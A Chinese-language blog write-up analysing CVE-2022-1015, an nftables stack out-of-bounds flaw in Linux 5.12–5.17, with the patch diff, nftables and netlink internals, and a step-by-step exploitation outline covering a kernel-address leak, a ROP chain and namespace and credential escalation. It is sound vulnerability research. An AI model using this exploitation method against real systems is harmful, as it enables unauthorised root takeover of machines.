【kernel exploit】CVE-2022-1015 nftables 栈溢出漏洞分析与利用

2022/07/16 Kernel-exploit 共 37391 字,约 107 分钟

【kernel exploit】CVE-2022-1015 nftables 栈溢出漏洞分析与利用

影响版本:Linux 5.12~5.17

测试版本:Linux-5.17 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

原作者测试的内核版本是 5.16.0-rc3+。

编译选项

CONFIG_NF_TABLES=y

CONFIG_NETFILTER_NETLINK=y

CONFIG_BINFMT_MISC=y (否则启动VM时报错)

CONFIG_USER_NS=y

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.17.tar.xz
$ tar -xvf linux-5.17.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述:nftables模块中,nft_parse_register_load()nft_parse_register_store() 函数没有限制传入的寄存器下标范围,导致整数溢出(能够通过范围校验),从而触发栈溢出越界读写。漏洞利用时,需从中断上下文中返回到用户态,需要利用 __do_softirq() 函数的末尾完美返回到syscall的上下文,然后调用 switch_task_namespaces(current, &init_nsproxy)commit_cred(&init_cred) 提权。

补丁patch 传入 nft_parse_register() 函数的reg值的范围本应该是0~16。打补丁之前,可以传入reg非常大,例如 0xfffffff0,就会走到 nft_parse_register() 的 default — [1] 处,返回一个仍然越界的值。打补丁之后,会仔细检查 reg 值,去掉了 default 分支。

diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index d71a33ae39b35..1f5a0eece0d14 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -9275,17 +9275,23 @@ int nft_parse_u32_check(const struct nlattr *attr, int max, u32 *dest)
 }
 EXPORT_SYMBOL_GPL(nft_parse_u32_check);
 
-static unsigned int nft_parse_register(const struct nlattr *attr)
+static unsigned int nft_parse_register(const struct nlattr *attr, u32 *preg)
 {
 	unsigned int reg;
 
 	reg = ntohl(nla_get_be32(attr));
 	switch (reg) {
 	case NFT_REG_VERDICT...NFT_REG_4:
-		return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+		*preg = reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+		break;
+	case NFT_REG32_00...NFT_REG32_15:
+		*preg = reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+		break;
 	default:															// [1]
-		return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+		return -ERANGE;
 	}
+
+	return 0;
 }
 
@@ -9327,7 +9333,10 @@ int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
 	u32 reg;
 	int err;
 
-	reg = nft_parse_register(attr);
+	err = nft_parse_register(attr, &reg);
+	if (err < 0)
+		return err;
+
 	err = nft_validate_register_load(reg, len);
 	if (err < 0)
 		return err;
@@ -9382,7 +9391,10 @@ int nft_parse_register_store(const struct nft_ctx *ctx,
 	int err;
 	u32 reg;
 
-	reg = nft_parse_register(attr);
+	err = nft_parse_register(attr, &reg);
+	if (err < 0)
+		return err;
+
 	err = nft_validate_register_store(ctx, reg, data, type, len);
 	if (err < 0)
 		return err;

保护机制:KASLR / SMEP / SMAP

利用总结

  • (1)初始化
    • 设置 unshare / NETLINK_ROUTE
    • 设置 base_chain:如果目的端口号为 9999,且packet前8字节为 MAGIC=0xdeadbeef0badc0de 则跳转到 auxilitary_chain
    • 创建auxilitary_chain(还未添加rule)。
  • (2)测试是否存在漏洞
    • 尝试添加rule (nft_payload expression),将packet中的数据(第8字节开始)写到 nft_regs 的偏移 0xca * 4 = 0x328 处,如果能够成功添加该rule,则说明越界的 dreg 值能够成功传递到内核中,漏洞存在。
  • (3)泄露内核基址
    • setup_listener() —— 创建监听线程(充当server端),绑定到 127.0.0.1:9999,负责循环收包,并回发 MSG_OK 确认;
    • client端绑定到 127.0.0.1:8888,负责向server端发包;
    • 构造 auxilitary_chain:主要调用 create_infoleak_rule() 来创建rule,将偏移 0xff * 4 = 0x3fc 处的值取过来,和指定的cmp值进行比较(cmp值采用二分搜索确定,范围是0~255),若大于cmp值则drop包,否则accept包;
    • 向server端发包(前8字节为 MAGIC 值),触发执行 auxilitary_chain
    • 若未从server端收到包,则说明地址字节大于mid值,范围是 [mid+1, high];若从server端收到 MSG_OK 包,则说明地址字节小于等于mid值,范围是 [low, mid]
  • (4)劫持控制流
    • 创建 base_chain_2:负责将packet第8字节开始的 ROP 写到栈上偏移 0xca * 4 = 328 处;
    • 问题:我编译的 Linux-v5.17 需劫持偏移 0x398 处的返回地址,最终只能写 0xb8 长度的ROP(23个gadget),原文的ROP链过长放不进去,所以进行了改进。把之前为了栈平衡填充的 12*8 空间放置提权ROP,用7个gadget 把RSP减去0x70后跳进去。
      • 跳转到 __do_softirq() 末尾,从软中断正常返回到 syscall context;(副作用导致需填充 12*8 字节,以维持栈平衡)
      • 用7条gadget,将RSP减去0x60跳转到前面的ROP链;(push rsp; pop rbp -> push rbp; pop rax -> sub rax, r8 -> push rax; pop rsp
      • 执行 switch_task_namespaces(current, &init_nsproxy)
      • 执行 commit_cred(&init_cred)
      • 抬栈,返回到正常的 syscall context。
  • (5)发包触发劫持
    • packet第8字节开始布置 ROP,向server端发包触发劫持控制流。

注意:根据不同的版本,泄露地址的栈偏移 0xff*4和返回地址偏移0xca*4可能有所不同,需要进行适配。

本文分析了两个 nf_tables 组件中的漏洞:

  • CVE-2022-1015:输入参数未正确校验导致OOB
  • CVE-2022-1016:栈变量未初始化导致信息泄露

在最新的Ubuntu和RHEL的默认配置下即可提权,原文测试的内核版本是kernel-v5.16-rc3,我测试的是kernel-v5.17。

1. 背景

2月中旬google发起一个漏洞研究项目—would continue their kCTF vulnerability reward program,只要能从有nsjail 沙箱的Linux内核提权,即可奖励31,337 到 91,337 美元。本文作者想拿到奖金,就分析了 nf_tables 模块,但是最后发现google的kCTF环境中没有加载 nf_tables 模块。

目标选取的要求

  • 首先不需要root权限。例如,虚拟文件系统模块中,只有root用户才能mount,除非配置了 FS_USERNS_MOUNT 选项,就能在user namespace 进行mount。
  • 必须可通过syscall可达。底层硬件驱动是不可访问的,底层网络驱动可能可以,例如通过bluetooth 或 802.11ac 发送数据。
  • 对于 CAP_SYS_ADMINCAP_NET_ADMIN 权限。由于用户命名空间是默认开启的,所以这不是问题,否则还需要先提权到容器的 namespace root。
  • 目标模块必须默认加载。可以通过写程序与目标模块进行交互,来验证目标模块是否正常加载了。

作者选择了 nf_tables 模块,因为其功能很复杂,而且属于net组件。

2. 介绍 Netfilter

Netfilter简介:Netfilter 是kernel中很大的网络子系统。它可以在常见的网络模块中设置hooks并注册handler处理函数,一旦到达hook点就会调用handler处理函数,对相应的网络包进行处理,handler可以对包进行 accept/drop/modify 操作。

hook点示例

  • nf_conntrack:记录所有网络链接。
  • nf_nat:对进出的IP包进行网络地址和port翻译。
  • nf_queue:将包分发给用户。
  • nf_tables:基于用户定义的rule来筛选或转发包。

Netfilter 作用

  • 实现状态防火墙;
  • 实现负载平衡;
  • 实现网络地址转换;
  • 提供用户连接的日志记录(ss / lsof / conntrack)。

关于Netfilter详细介绍可参考 this blogpost on netfilter/iptablesthis blogpost on nf_conntrack。(PS:其实eBPF也能实现网络包过滤,参见cilium

3. 介绍 nf_tables

nf_tables 简介nf_tables 目标是想取代 (ip、ip6、arp、eb)tables,是一款新的内核包分类框架,基于特定网络虚拟机VM来实现。nf_tables 提供了一些接口来创建rule,之后会利用这些rule对特定的包进行处理(根据verdict 来判断进行哪种操作 drop / allow / reroute)。

对比ip_tablesip_tables 其实就是配置规则,规则由若干个 matches 和一个 target 组成,是固定的、不可编程的;而 nf_tables 更加灵活、可编程的,更灵活的去指定所执行的动作和行为(对性能进行优化),相当于在 Netfilter 的个HOOK点各实现了一个虚拟机,类似于汇编代码。

  • iptables规则集由N条规则组成,这些规则和Netfilter的5和HOOK点相关联,在每一个HOOK点上,进入的IP数据报文要遍历所有关联与此点的规则,直到某条规则明确返回ACCEPT或者DROP之类。如果有10000条规则,那就要最多去匹配10000次。除此之外,进入内部,我刚才说过,iptables的内核设施明令规定了规则的结构以及执行过程,写规则的“运维人员”根本就无力像“程序员”那般去修改其行为以便优化,一切都是固定的,如果一个iptables内核模块实现的不好,比如数据结构组织的不好,那么iptables规则的编写者只能兴叹。
  • 随着nftables版本的进化,它的行为和性能只与“nftables编程者”有关,你再也不能抱怨nftables的效率低下了,如果它的性能低下,那只能怪你编程编的不好。nftables作为拥有自己独立语法的“一种编程语言”,和C语言是类似的,如果你的C语言代码性能很低,你会怪C语言本身吗? 使用nftables的话,你甚至可以“烹饪”出一条基于多维树匹配的规则来,在iptables中,你无力放弃线性的逐条matches匹配,但是在nftables中,你却有能力将其由线性匹配优化成一颗多维匹配树。

nf_tables 示例

// 从数据包IP头开始算,取出数据包的第10个字节开始的1字节并把它放入reg 1,比较reg 1的值是不是0x06,如果是的话,以数据包TCP头开始算,取出第3个字节开始的2个字节放入reg 1,看看它是不是80,如果是,就指示这个数据包应该丢掉。
  [ payload load 1b @ network header + 9 => reg 1 ]
  [ cmp eq reg 1 0x00000006 ]
  [ payload load 2b @ transport header + 2 => reg 1 ]
  [ cmp eq reg 1 0x00005000 ]
  [ immediate reg 0 drop ]

3-1 nf_tables 架构

结构关系struct nft_table -> struct nft_chain -> struct nft_rule -> struct nft_expr

  • nft_table:nf_tables 中,一个table (struct nft_table 结构)就是一个 container,与一种特定网络协议相关联(例如 ip/ip6/arg等)。每个 netfilter hook 点都对应一个 handler 处理函数,只要packet触发了某个hook点,相应的table就开始处理。

  • nft_chain:一个table可以包含很多 chains (struct nft_chain 结构),用户可以往table添加 base chains表示要处理哪种类型的流量),例如,chain可以指定要处理入流量还是出流量,也可以指定对特定的网络接口进行处理(例如 loopback 接口和 ethernet 接口)。你可以指定 base chains 的优先级,确定运行顺序;你也可以往table添加 non-base chains,但 non-base chains 不会自动处理packet(后面会提到)。

  • nft_rule:一个 base chain 包含一个policy,表示要执行的动作(例如drop / accept)。 chains 也是 container,包含一些rules (struct nft_rule 结构),执行到chain时会顺序运行其中每一条rule;rules则包含一些 expressions (struct nft_expr结构),也即进行实际操作的指令。

  • nft_expr:expressions 是最有意思的部分,负责进行实际操作;expression 用 struct nft_expr 这个抽象类来表示,有很多种expression,其他模块可以通过修改 nft_expr->ops 成员来定义具体的实现,ops->size 表示真实的size (sizeof(struct nft_expr_ops) + sizeof(<struct expr_data>))。nft_expr_ops

/* NOTE: taken from include/net/netfilter/nf_tables.h */

/**
 *	struct nft_expr_ops - nf_tables expression operations
 *
 *	@eval: Expression evaluation function
 *	@size: full expression size, including private data size
 *	@init: initialization function
 *	@activate: activate expression in the next generation
 *	@deactivate: deactivate expression in next generation
 *	@destroy: destruction function, called after synchronize_rcu
 *	@dump: function to dump parameters
 *	@type: expression type
 *	@validate: validate expression, called during loop detection
 *	@data: extra data to attach to this expression operation
 */
struct nft_expr_ops { 					// 具体的操作,包含很多函数指针
	void	(*eval)(const struct nft_expr *expr,    
		        struct nft_regs *regs,
			const struct nft_pktinfo *pkt);
        ...
        unsigned int			size;
        ...
	int	(*init)(const struct nft_ctx *ctx,
			const struct nft_expr *expr,
			const struct nlattr * const tb[]);
        ...
};
/**
 *	struct nft_expr - nf_tables expression
 *
 *	@ops: expression ops
 *	@data: expression private data
 */
struct nft_expr {
	const struct nft_expr_ops	*ops; 				// <----------
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};

expression示例:一种简单的expression —— immediate expression。

  • expression 分配和初始化参见 nft_expr_init() -> nf_tables_newexpr()
  • 实际运行该expression时,会调用 ops->eval() (调用点参见 nft_do_chain() -> expr_call_ops_eval()),参数1是指向 struct nft_expr 自身的指针,参数2是指向一块内存的指针(包含expression可以读写的 struct nft_regs 寄存器结构,以及一些 packet 信息)。
    • 新的寄存器状态会传给下一个expression。
    • struct nft_regs 结构包含一个 verdict 成员,expression通过设置 verdict 来确定控制流走向(break / jump / goto)。
// nft_expr->data  放置 nft_immediate_expr
struct nft_immediate_expr {
	struct nft_data  data;
	u8               dreg;  /* destination register index */
	u8               dlen;  /* length of destination */
};
// nft_expr->ops 指向 nft_imm_ops
static const struct nft_expr_ops nft_imm_ops = {
	.type		= &nft_imm_type,
	.size		= NFT_EXPR_SIZE(sizeof(struct nft_immediate_expr)),
	.eval		= nft_immediate_eval,
	.init		= nft_immediate_init,
	.activate	= nft_immediate_activate,
	.deactivate	= nft_immediate_deactivate,
	.destroy	= nft_immediate_destroy,
	.dump		= nft_immediate_dump,
	.validate	= nft_immediate_validate,
	.offload	= nft_immediate_offload,
	.offload_flags	= NFT_OFFLOAD_F_ACTION,
};
// expression 分配点
kzalloc(expr_info.ops->size, GFP_KERNEL);

3-2 nf_tables 状态机的细节

目标:来看看状态机的 fetch-execute loop,也即expression的执行过程。

base chain 初始化nft_do_chain() 负责执行 table 中的每个 base chain ,每个 base chain 分别调用一次 nft_do_chain()

// net/netfilter/nf_tables_core.c
unsigned int nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
    const struct nft_chain *chain = priv, *basechain = chain;
    const struct net *net = nft_net(pkt);
    struct nft_rule *const *rules;
    const struct nft_rule *rule;
    const struct nft_expr *expr, *last;
    struct nft_regs regs;
    unsigned int stackptr = 0;
    struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
    ...
next_rule:
	regs.verdict.code = NFT_CONTINUE;
	for (; rule < last_rule; rule = nft_rule_next(rule)) { // 遍历 chain 中的所有 rule
        nft_rule_for_each_expr(expr, last, rule) {  // 遍历 rule中所有的 expression 
            expr_call_ops_eval(expr, &regs, pkt);   // 调用 expr->ops->eval() 执行 rule
            if (regs.verdict.code != NFT_CONTINUE)  // 如果没有设置 verdict,则继续遍历expression
                break;
        }
        // 如果 verdict == NFT_BREAK, 则停止执行该rule,跳转到下一个rule
        if (regs.verdict.code == NFT_BREAK) {
            regs.verdict.code = NFT_CONTINUE;
            continue;
        }
        break; 								// 否则,停止执行所有rule, 更细致的检查 verdict
    }
    
    switch (regs.verdict.code & NF_VERDICT_MASK) {	// chain 处理完成后,检查 verdict
    									// 如果 verdict属于以下几种值,则停止执行并返回该verdict
    case NF_ACCEPT: /* Accept the packet, resume any further chain execution */
    case NF_DROP:   /* Drop the packet */
    case NF_QUEUE:  /* Delegate packet to usermode program */
    case NF_STOLEN: /* Drop, but don't clean up conntrack and stuff */
        return regs.verdict.code;
    }

    switch (regs.verdict.code) {
    // NFT_JUMP 表示跳转到另一个chain, 将返回地址压栈(类似call指令), 如果将要执行的chain没有设置明确的verdict, 则恢复之前中断的执行
    case NFT_JUMP:
        if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
            return NF_DROP;
        jumpstack[stackptr].chain = chain;
        jumpstack[stackptr].rules = rules + 1;
        stackptr++;
        fallthrough;
    case NFT_GOTO:		// NFT_GOTO 表示跳转到另一个chain (不压返回地址,类似于 goto)
		chain = regs.verdict.chain;
		goto do_chain;
    case NFT_CONTINUE: // 若没有设置 verdict, 则默认执行本操作,接着往后执行
    case NFT_RETURN:   /* Reached whenever issued explicitly 
                        * to return early from a chain */
		break;
    default:
	    WARN_ON(1);
    }
    
    if (stackptr > 0) { 					// 返回到调用栈之前的chain
	    stackptr--;
	    chain = jumpstack[stackptr].chain;
	    rules = jumpstack[stackptr].rules;
	    goto next_rule;
    }
    
    // 如果没有到达明确的 verdict, 返回 chain 的policy (默认为 accept 或 drop) 
    return nft_base_chain(basechain)->policy;
}

看完以上代码,就能看出chain和rule的区别,可以把chain当成一个函数(可以直接跳过去,不过只能跳到 non-base chain),rule就是该函数包含的指令(不能直接跳到某个rule),但是rule中的expression可以跳转到:

  • 下一个expression (NFT_CONTINUE
  • 下一个rule (NFT_BREAK
  • 跳往某个chain (NFT_BREAK / NFT_GOTO
  • base chain caller (NF_ACCEPT),返回到调用者?

3-3 nf_tables expression

目标:来看看不同类型的expression 是做什么的,如何设置 expression。

nft_regs 寄存器结构:还记得 expression可以对 struct nft_regs 结构进行读写吗?

最开始有4个寄存器,每个寄存器占16字节,但是发现用起来不方便。现在可以用下标来索引寄存器(见 enum nft_registers),单位是4字节。前16字节和 struct nft_verdict 结构重叠,不能直接写 nft_verdict,因为它包含 struct nft_chain 指针(表示 NFT_JUMP / NFT_GOTO 的跳转目标地址),不明白为什么非要采用union结构,为什么不用struct来表示(把 struct nft_verdict 放最前面)?

struct nft_regs {
	union {
		u32			data[20];				// data registers
		struct nft_verdict	verdict; 		// verdict register  前4个 data register 和一个 verdict register 别名, verdict 寄存器占4字节(用于表示控制流, 下一条指令执行什么)
	};
};

struct nft_verdict {
	u32				code;			// nf_tables/netfilter verdict code
	struct nft_chain		*chain; // NFT_JUMP/NFT_GOTO 跳转的目标chain
};
// regeister 的下标,用于索引到对应的寄存器
enum nft_registers {
	NFT_REG_VERDICT,
	NFT_REG_1,
	NFT_REG_2,
	NFT_REG_3,
	NFT_REG_4,
	__NFT_REG_MAX,
	NFT_REG32_00	= 8,
	NFT_REG32_01,
	...
	NFT_REG32_15,
};

#define NFT_REG_MAX	(__NFT_REG_MAX - 1)
#define NFT_REG_SIZE	16
#define NFT_REG32_SIZE	4

你可以把这些寄存器看作是连续的内存,因为很多expression能一次读写多个连续的寄存器。用户在构造expression时,需要传递的参数是一个源寄存器(sreg)、一个目的寄存器(dreg)以及其他参数,例如length,这些参数在通过检查后才能写入expression结构,之后在调用 eval() 函数时就能使用这些值。

(1)nft_immediate_expr

位置net/netfilter/nft_immediate.c

作用:往寄存器或 nft_verdict 写入常量。

用法:用户提供 dreg 下标和待写入的data(最大16字节常量),如果 dreg 为0则提供一个 verdict 。如果 verdict 是 NFT_{JUMP,GOTO},则还需要提供一个有效的 chain 标识符,会设置相应的 chain指针和 dlen 成员。

struct nft_immediate_expr {
	struct nft_data  data;  /* nft_data contains up to 16 bytes of data OR a verdict */
	u8               dreg;  /* destination register index */
	u8               dlen;  /* length of destination */
};
(2)nft_cmp_expr

位置net/netfilter/nft_cmp.c

作用:对寄存器值和常量进行比较。

用法:用户提供 sreg 、16字节data(并设置相应的dlen)、以及相应的比较操作 (例如NFT_CMP_EQ / NFT_CMP_NEQ / NFT_CMP_GT)。expression 会把 sregdlen 字节和data进行比较,如果比较为 false,就会发出 NFT_BREAK verdict 并从当前rule 跳出,反之比较为true则什么也不做。该expression可以在rule中实现条件逻辑。

struct nft_cmp_expr {
	struct nft_data	data;
	u8			sreg;
	u8			len;
	enum nft_cmp_ops	op:8;
};
(3)nft_bitwise

位置net/netfilter/nft_bitwise.c

作用:实现位操作。

用法:用户提供 len / sreg / dreg / 操作符 op 表示按位操作的类型。

  • 如果未设置 op 或者 op == NFT_BITWISE_BOOL —— 异或操作
    • 用户提供最多len字节的 xor data 或 mask data
    • len 最大为16
    • sreg 将进行异或操作并mask,结果写到 dreg
  • 如果 op == NFT_BITWISE_LSHIFTop == NFT_BITWISE_RSHIFT —— 位移操作
    • 用户提供位移位数 data
    • len 没有约束,没有边界检查
    • sreglen 字节将算术移动 data 位并写入 dreg。如果len 不是4的倍数,则以网络字节序
struct nft_bitwise {
    u8                      sreg;
    u8                      dreg;
    enum nft_bitwise_ops    op:8;
    u8                      len;
    struct nft_data         mask;
    struct nft_data         xor;
    struct nft_data         data;
};
(4)nft_payload

作用:和当前packet交互,把packet中的数据读取到寄存器。

用法:用户提供 len / dreg / offset / basebase 表示对哪个协议层进行操作,详细如下表所示。如果packet没有对应请求的header,则发出 NFT_BREAK verdict 结束执行流;有对应的header的话,则将packet位于 offsetlen 字节写入 dreg

struct nft_payload {
	enum nft_payload_bases	base:8;
	u8			offset;
	u8			len;
	u8			dreg;
};
BaseOffsets to
NFT_PAYLOAD_LL_HEADERLink layer, e.g. ethernet or 802.11 header
NFT_PAYLOAD_NETWORK_HEADERNetwork layer, e.g. IPv4 or IPv6 header
NFT_PAYLOAD_TRANSPORT_HEADERTransport layer, e.g. TCP or UDP header
NFT_PAYLOAD_INNER_HEADERInner header, i.e. the actual packet “contents”
(5)nft_meta

作用:可以将packet metadata 写入寄存器或修改packet metadata 。

用法:用户提供 key 表示 metadata 类型(以下列举了部分key),提供dreg 表示将 metadata 写入的位置,或者提供 sreg 表示往 packet metadata 写什么值,具体取决于用户定义,也并非所有的 metadata 都可写。

以下列出了 key 的可选种类:

struct nft_meta {
	enum nft_meta_keys	key:8;
	union {
		u8		dreg;
		u8		sreg;
	};
};
KeyPerforms
NFT_META_L4PROTOWrite transport protocol to register, or issue NFT_BREAK if the packet doesn’t have one.
NFT_META_LENWrite total packet length to register.
NFT_META_CPUWrite CPU on which packet is processed to register.
NFT_META_PRANDOMWrite random value to register.
NFT_META_TIME_{NS,DAY,HOUR}Write system time in specified unit to register.
NFT_META_{I,O}IFKINDWrite input or output network interface “kind” (identifier) to register.
NFT_META_PRIORITYEither write internal packet priority to register, or write register to internal packet priority.

3-4 通过netlink与nftables 交互

Netlink简介:Netlink是一个内核接口,也是一种协议,便于用户与内核进行网络信息交互,最初开发是为了克服ioctl的限制。例如,内核可以使用netlink接收变长的参数,write shallow validation rules declaratively。几乎所有Linux网络管理都使用了netlink,例如 iproute2 中的 ip / ss / bridge

使用方法:与netlink交互时使用 AF_NETLINK socket,每个内核子系统如果含有netlink交互功能,都会定义一个相应的socket family(用户需要确定)。为了和netfilter交互,我们需要使用 NETLINK_NETFILTER family。其他完整的 netlink family 可参考 netlink(7)

int fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER);

优点:Netlink可以自动加载你需要交互的模块,只要 modprobe 和 目标模块都存在。 netfilter 接口 (nf_netlink.ko)也会自动加载你请求的组件(例如nf_tables),这样我们进行漏洞利用时就不用担心漏洞模块是否已提前加载。

nlmsghdr消息头sendmsg() 用于往 netlink socket 发送消息,user_msg_hdr->msg_iov 指向 struct nlmsghdr结构——netlink消息头。

  • nlmsg_type:消息类型。例如,NLMSG_NOOP / NLMSG_ERROR / NLMSG_DONE / NLMSG_OVERRUN

  • nlmsg_flags:每个outgoing消息都要设置 NLM_F_REQUEST,并与NLM_F_CREATE / NLM_F_REPLACE / NLM_F_APPEND / NLM_F_EXCL 之一进行或操作,后面几个flag可以根据接口灵活选择。

// sendmsg()
SYSCALL_DEFINE3(sendmsg, int, fd, struct user_msghdr __user *, msg, unsigned int, flags)

// 消息头
struct nlmsghdr {
	__u32		nlmsg_len;	// 整个消息的长度, 包括 Netlink 消息头本身
	__u16		nlmsg_type;	// 特定接口的消息类型
	__u16		nlmsg_flags;// 消息类型的额外信息
	__u32		nlmsg_seq;	/* Sequence number */
	__u32		nlmsg_pid;	/* Sending process port ID */
};

netlink_msg_header

消息主体:消息主体跟在 nlmsghdr header 结构后面,包含特定接口的结构,后面继续跟着很多属性(struct nlattr 结构)。后面又跟着接口相关的结构。内核会对每个attribute的len和type进行检查,attribute也可以包含嵌套的attribute。

struct nlattr {
	__u16           nla_len;	// attribute 长度
	__u16           nla_type;	// 依赖接口
};

接收消息recvmsg() 接收netlink socket的消息,会将相同格式的netlink消息写入指定的iovec。为了接收消息,socket必须 bindstruct sockaddr_nl (设置 AF_NETLINK family),另外, 也要指定你想接收消息的group。

  • group:netlink接口定义了消息队列group,你可以订阅之后就能收到特定的感兴趣的消息。例如,为了收到和nf_tables table 有关的消息,你需要设置 NFNLGRP_NFTABLES flag,这样只有在 nf_tables table 的配置发生改变时才会收到消息。也有一些netlink接口,会定义group根据网络事件来接收相应信息,例如 nf_queue
struct sockaddr_nl rsa = {
    .nl_family = AF_NETLINK,
    .nl_groups = 1 << (NFNLGRP_NFTABLES - 1);
};
bind(nlfd, (struct sockaddr*)&rsa, sizeof(rsa));

了解更多关于 netlink 协议的知识,可以参考 RFCLinux/netlink.h

nf_tables 可以处理的请求类型nf_tables_msg_types

enum nf_tables_msg_types {
	NFT_MSG_NEWTABLE,
	NFT_MSG_GETTABLE,
	NFT_MSG_DELTABLE,
	NFT_MSG_NEWCHAIN,
	NFT_MSG_GETCHAIN,
	NFT_MSG_DELCHAIN,
	NFT_MSG_NEWRULE,
	NFT_MSG_GETRULE,
	NFT_MSG_DELRULE,
	NFT_MSG_NEWSET,
	NFT_MSG_GETSET,
	NFT_MSG_DELSET,
	NFT_MSG_NEWSETELEM,
	NFT_MSG_GETSETELEM,
	NFT_MSG_DELSETELEM,
	NFT_MSG_NEWGEN,
	NFT_MSG_GETGEN,
	NFT_MSG_TRACE,
	NFT_MSG_NEWOBJ,
	NFT_MSG_GETOBJ,
	NFT_MSG_DELOBJ,
	NFT_MSG_GETOBJ_RESET,
	NFT_MSG_NEWFLOWTABLE,
	NFT_MSG_GETFLOWTABLE,
	NFT_MSG_DELFLOWTABLE,
	NFT_MSG_MAX,
};

libmnllibnftnl:直接手动构造消息包的话你会崩溃的,netfilter 提供了两个库,libmnl 可以管理消息格式,libnftl是基于前者的,这样就能抽象的构造整个netlink消息格式。

1-manual

2-library

3-5 nft —— nftables 用户模式的命令行功能

nft 是 nf_tables 的用户组件,采用声明式的格式来将抽象逻辑转换成具体的rule和expression,示例如下(展示如何转换的):

#!/usr/sbin/nft -f

# Flush the rule set
flush ruleset

# This table applies to inet, i.e. both ipv4 and ipv6
table inet example_table {
    chain example_chain {
        
        # This is filter chain (as opposed to a nat or route chain)
        # It will process any incoming traffic (input)
        # If no explicit verdict is reached it will accept the packet
        type filter hook input priority 0; policy accept;
        
        # First (and only) rule:
        # Drop any incoming TCP traffic to port 22
        tcp dport ssh drop
    }
}

rule将会被编译成如下table所示(忽略table和chain的创建)。注意,只要没有设置具体的 verdict 值,会默认接收所有packet,所以 NFT_BREAK 也会被隐式接收(设置为 NFT_DROP 就会丢弃该 packet)。

#ExpressionArgumentsComment
0nft_metakey=NFT_META_L4PROTO dreg=8将传输层协议写到 register 8, 如果packet没有传输层协议头则发出 NFT_BREAK
1nft_cmp_exprop=NFT_CMP_EQ sreg=8 data=IPPROTO_TCP判断传输层协议是否为 IPPROTO_TCP, 如果不是则发出 NFT_BREAK
2nft_payloadbase=NFT_PAYLOAD_TRANSPORT_HEADER offset=offsetof(tcphdr, dport) len=sizeof_field(tcphdr, dport)将packet目标port写到 register 8.
3nft_cmp_exprop=NFT_CMP_EQ sreg=8 data=22比较目标port是否等于22, 如果不等于则发出 NFT_BREAK
4nft_immediate_exprverdict=NF_DROPSince the rule is still evaluating, the conditions must match, and we drop the packet.

4. CVE-2022-1015

作者首先从 net/netfilter/nf_tables_api.c 文件看起,决定先看看用户发送的寄存器校验逻辑,发现一些可疑行为,栈上的OOB读写。

4-1 漏洞分析

当一个expression的 init 例程需要从用户的netlink消息解析寄存器时,对源寄存器和目的寄存器分别调用 nft_parse_register_load()nft_parse_register_store()

// 参数是一个 netlink attribute 和需要读取请求数据的 length, 把register index 写入sreg, 失败则返回error
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
    u32 reg;
    int err;
    
    
    reg = nft_parse_register(attr);				// [1] 返回 reg 在 nft_registers 中的下标
    err = nft_validate_register_load(reg, len);	// [2] 检查下标是否合法
    if (err < 0)
        return err;
    
    *sreg = reg;								// [3] 将 reg index 写到 nft_expr.data 结构
    return 0;
}
// 将一个 register 转换为 nft_regs 中的 index    
static unsigned int nft_parse_register(const struct nlattr *attr)  
{
    unsigned int reg;
    
    // 从 netlink attribute 中获取指定的 register
    reg = ntohl(nla_get_be32(attr));
    
    switch (reg) {	// 如果是 0 到 4, 则为 OG 16-byte 寄存器, 需乘以4 (4*4=16)
    case NFT_REG_VERDICT...NFT_REG_4:
        return reg * NFT_REG_SIZE / NFT_REG32_SIZE; 	// * 16 / 4
    default:		// [1-1] 否则减去4, 因为要去掉以上 OG寄存器的下标
        return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00; // + 16/4 - 8
    }
    // 如果reg的值为 1,2,3,4, 则为 OG 16-byte register, 对应为4,8,12,16
    // 如果reg的值为 5,6,7 则与 verdict 重叠
    // 8,9,10,11 和 OG register 1 重叠
    // 12,13,14,15 和 OG register 2 重叠
}

static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{
    // 我们不能从 verdict register 读取, 所以如果index是 0/1/2/3 则退出
    if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)
        return -EINVAL;
	
    if (len == 0) 			// 错误操作,退出
        return -EINVAL;
	
    // 如果产生 OOB access (reg 作为 index, 读取 len 字节), 则退出
    // sizeof_field(struct nft_regs, data) == 0x50
    if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))  // [2-1] 漏洞点: 如果某个(reg*4+len) 存在整数溢出, 则 [1] 处 reg 的最低字节还是会被写到 `u8 *sreg` 指针处, 写入 nft_expr 结构, 并在之后被用作 index
        // 注意, nft_regs 中 data 所占字节为 4*20 = 80 = 0x50, 所以只要 <= 0x50 即可通过检查
        return -ERANGE;

    return 0;
}    

nft_parse_register_store() 差不多,不同的是某些情况下可以往 verdict 写。

触发漏洞:原本 reg 在 [1] 中是 enum nft_registers 中的值(范围是0~15),但是我们可以传入到nft_validate_register_load() 的reg值范围是 0x1 ~ 0xfffffffb( nft_parse_register() 函数中会减4),没有限制所传入的寄存器值的范围;如果传入的reg值过大,那么在 [2-1] 处可能存在整数溢出reg * NFT_REG32_SIZE + len 也即 reg*4+len 存在整数溢出),导致通过了 [2-1] 这个check条件,最终在 [3] 处将一个很大的值(最低位的1个字节)写入了 sreg

